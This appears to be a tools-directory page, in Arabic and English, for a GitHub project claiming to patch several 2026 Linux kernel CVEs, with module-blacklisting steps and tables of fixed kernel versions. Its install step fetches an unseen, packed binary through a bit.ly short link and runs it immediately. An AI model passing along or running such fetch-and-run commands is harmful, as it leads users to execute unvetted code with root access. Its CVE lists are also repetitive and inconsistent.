أدوات / GitHub / first-john / cve_2026_frag_family_fix
first-john/cve_2026_frag_family_fix اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.
آخر 7 أيام آخر 30 يومًا
cve_2026_frag_family_fix CVE-2026-46300 / CVE-2026-43500 / CVE-2026-31431 / CVE-2026-43284 إصلاح عاجل لـ golang
1 3 منذ شهر واحد
Copy Fail (2026)
Dirty Frag (2026)
Fragnesia (2026)
DirtyClone (2026)
PEdit-CoW (2026)
تشغيل الإصلاح على أي لينكس / Run any Linux hotfix
b="/tmp/cve_2026_frag_family_fix"; wget -qO $b $(wget -qO- https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4) && chmod +x $b && $b
أو
b="/tmp/cve_2026_frag_family_fix"; curl -fsSL "$(curl -fsSL https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4)" -o $b && chmod +x $b && $b
CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331
الوصف
يتحقق من الوحدات المفعلة المتعلقة بثغرات CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331
يعرض تحديث النواة إذا كان متاحًا
يعطل esp4, esp6, rxrpc, act_pedit في حالة عدم توفر التحديث
يمنع تحميل الوحدات عبر modprobe
يضيف module_blacklist إلى grub
ينظف الإصلاح المؤقت تلقائيًا بعد تحديث النواة
للأنظمة المبنية على RHEL (AlmaLinux, Rocky, Oracle, Fedora) يعطل Boot Loader Specification (GRUB_ENABLE_BLSCFG=false)، ويضبط GRUB_DEFAULT=0، وينشئ خطاف تثبيت النواة (/etc/kernel/install.d/99-grub-update.install) يعيد توليد إعدادات grub بعد تحديث النواة لضمان تحميل أحدث نواة عند الإقلاع التالي.
للإصدارات الثانوية، يعرض وينفذ التحديث إلى أحدث إصدار ثانوي يتوفر له تحديث نواة.
Description
checks for CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331 vulnerability enabled modules
offers kernel update if available
disables esp4, esp6, rxrpc, act_pedit if not
blocks module loading via modprobe
adds module_blacklist to grub
automatically cleans up hotfix after kernel update
for RHEL-based systems (AlmaLinux, Rocky, Oracle, Fedora), disables Boot Loader Specification (GRUB_ENABLE_BLSCFG=false) and sets GRUB_DEFAULT=0, then creates a kernel install hook (/etc/kernel/install.d/99-grub-update.install) that regenerates grub config after kernel updates to ensure the most recent kernel loads on next boot
for minor releases, it offers and performs an update to the latest minor version that has a kernel update available.
CVE-2026-31431 / تخفيف Copy Fail (algif_aead)
الوصف تفحص الأداة ثغرة CVE-2026-31431 (شرط مسبق) وتطبق التخفيف في حال وجود صلاحيات الجذر:
تحدد التركيبات المحمية من نظام التشغيل (بما في ذلك WSL) وإصدارات النواة
تعرض تحديث النواة مع الإصلاح إن توفر
تعطل algif_aead في حالة عدم توفر التحديث
تمنع تحميل الوحدة عبر modprobe
تضيف initcall_blacklist=algif_aead_init
تقيد AF_ALG عبر systemd
Description This tool checks for CVE-2026-31431 (pre condition) and applies mitigation (requires root):
identifies protected combinations of OS (including WSL) and kernel versions
offers a kernel update with a fix if available
disables algif_aead if not
blocks module loading via modprobe
adds initcall_blacklist=algif_aead_init
restricts AF_ALG via systemd
بناء لينكس / build docker run --rm -v "$PWD":/app -w /app golang:alpine sh -c "apk add --no-cache upx && go build -ldflags='-s -w' -o cve_2026_frag_family_fix cve_2026_frag_family_fix.go && upx --best --ultra-brute cve_2026_frag_family_fix"
تحديث النواة (ليس إصلاحًا مؤقتًا) متاح لأنظمة / Kernel update (not hotfix) is exist for OS Copy Fail (CVE-2026-31431) Dirty Frag (CVE-2026-43500/43284) Fragnesia (CVE-2026-46300) PEdit-CoW (CVE-2026-46331) Debian 10 (buster)❌ ❌ ❌ ❌ Debian 11 (bullseye)✅ ✅ ✅ ✅ Debian 12 (bookworm)✅ ✅ ✅ ✅ Debian 13 (trixie)✅ ✅ ✅ ✅ Ubuntu 18.04 (bionic)❌ ❌ ❌ ❌ Ubuntu 20.04 (focal)❌ ❌ ❌ ❌ Ubuntu 22.04 (jammy)✅ ❌ ❌ ❌ Ubuntu 24.04 (noble)✅ ✅ ✅ ❌ Ubuntu 25.04 (plucky)❌ ❌ ❌ ❌ Ubuntu 26.04 (resolute)✅ ✅ ✅ ✅ CentOS Stream 8 ❌ ❌ ❌ ❌ CentOS Stream 9 ✅ ✅ ✅ ✅ CentOS Stream 10 ✅ ✅ ✅ ✅
أوامر تحديث النواة / Kernel update commands
Debian apt update && apt install linux-image-amd64 linux-headers-amd64 -y
Ubuntu apt update && apt install linux-image-generic linux-headers-generic -y
CentOS dnf clean metadata && dnf upgrade 'kernel*' -y
AlmaLinux dnf clean metadata && dnf upgrade 'kernel*' -y
RockyLinux dnf clean metadata && dnf upgrade 'kernel*' -y
Fedora dnf clean metadata && dnf upgrade 'kernel*' -y
OracleLinux dnf clean metadata && dnf upgrade 'kernel*' -y
الحد الأدنى لإصدار النواة للإصلاح / Kernel fixed minimal version number OS Copy Fail (CVE-2026-31431) Dirty Frag (CVE-2026-43284) Fragnesia (CVE-2026-46300) PEdit-CoW (CVE-2026-46331) Debian 10 (buster)❌ ❌ ❌ ❌ Debian 11 (bullseye)5.10.0-41-amd64 5.10.0-42-amd64 5.10.0-43-amd64 5.10.0-45-amd64 Debian 12 (bookworm)6.1.0-45-amd64 6.1.0-47-amd64 6.1.0-48-amd64 6.1.0-50-amd64 Debian 13 (trixie)6.12.85+deb13-amd64 6.12.86+deb13-amd64 6.12.88+deb13-amd64 6.12.94+deb13-amd64 Ubuntu 18.04 (bionic)❌ ❌ ❌ ❌ Ubuntu 20.04 (focal)❌ ❌ ❌ ❌ Ubuntu 22.04 (jammy)5.15.0-177-generic ❌ ❌ ❌ Ubuntu 24.04 (noble)6.8.0-111-generic 6.8.0-124-generic 6.8.0-124-generic ❌ Ubuntu 25.04 (plucky)❌ ❌ ❌ ❌ Ubuntu 26.04 (resolute)7.0.0-15-generic 7.0.0-22-generic 7.0.0-22-generic 7.0.0-27-generic CentOS Stream 8 ❌ ❌ ❌ ❌ CentOS Stream 9 5.14.0-701.el9.x86_64 5.14.0-708.el9.x86_64 5.14.0-721.el9.x86_64 5.14.0-721.el9.x86_64
CentOS Stream 10 6.12.0-226.el10.x86_64 6.12.0-231.el10.x86_64 6.12.0-246.el10.x86_64 6.12.0-246.el10.x86_64
AlmaLinux 8.10 4.18.0-553.121.1.el8_10.x86_64 4.18.0-553.123.2.el8_10.x86_64 4.18.0-553.124.4.el8_10.x86_64 4.18.0-553.136.1.el8_10.x86_64
AlmaLinux 9.7 5.14.0-611.49.2.el9_7.x86_64 5.14.0-611.54.3.el9_7.x86_64 5.14.0-611.54.6.el9_7.x86_64 5.14.0-687.17.1.el9_8.x86_64
AlmaLinux 10.2 6.12.0-211.26.1.el10_2.x86_64 6.12.0-211.26.1.el10_2.x86_64 6.12.0-211.26.1.el10_2.x86_64 6.12.0-211.26.1.el10_2.x86_64
Rocky Linux 8.10 4.18.0-553.123.1.el8_10.x86_64 4.18.0-553.124.1.el8_10.x86_64 4.18.0-553.126.1.el8_10.x86_64 4.18.0-553.136.1.el8_10.x86_64
Rocky Linux 9.8 5.14.0-687.17.1.el9_8.x86_64 5.14.0-687.17.1.el9_8.x86_64 5.14.0-687.17.1.el9_8.x86_64 5.14.0-687.17.1.el9_8.x86_64
Rocky Linux 10.2 6.12.0-211.16.1.el10_2.0.1.x86_64 6.12.0-211.16.1.el10_2.0.1.x86_64 6.12.0-211.16.1.el10_2.0.1.x86_64 6.12.0-211.26.1.el10_2.x86_64
Fedora 42 6.19.14-100.fc42.x86_64 6.19.14-101.fc42.x86_64 6.19.14-108.fc42.x86_64 6.19.14-108.fc42.x86_64
Fedora 43 6.19.14-200.fc43.x86_64 7.0.4-100.fc43.x86_64 7.0.9-105.fc43.x86_64 7.0.12-101.fc43.x86_64
Fedora 44 6.19.14-300.fc44.x86_64 7.0.4-200.fc44.x86_64 7.0.9-205.fc44.x86_64 7.0.12-201.fc44.x86_64
Oracle Linux 8.10 5.15.0-319.201.4.4.el8uek.x86_64 5.15.0-319.201.4.6.el8uek.x86_64 5.15.0-320.202.8.5.el8uek.x86_64 5.15.0-322.203.3.2.el8uek.x86_64
Oracle Linux 9.7 6.12.0-201.74.2.2.el9uek.x86_64 6.12.0-201.74.2.3.el9uek.x86_64 6.12.0-202.76.4.4.el9uek.x86_64 6.12.0-204.92.4.2.el9uek.x86_64
Oracle Linux 10.1 6.12.0-201.74.2.2.el10uek.x86_64 6.12.0-201.74.2.3.el10uek.x86_64 6.12.0-202.76.4.4.el10uek.x86_64 6.12.0-204.92.4.2.el10uek.x86_64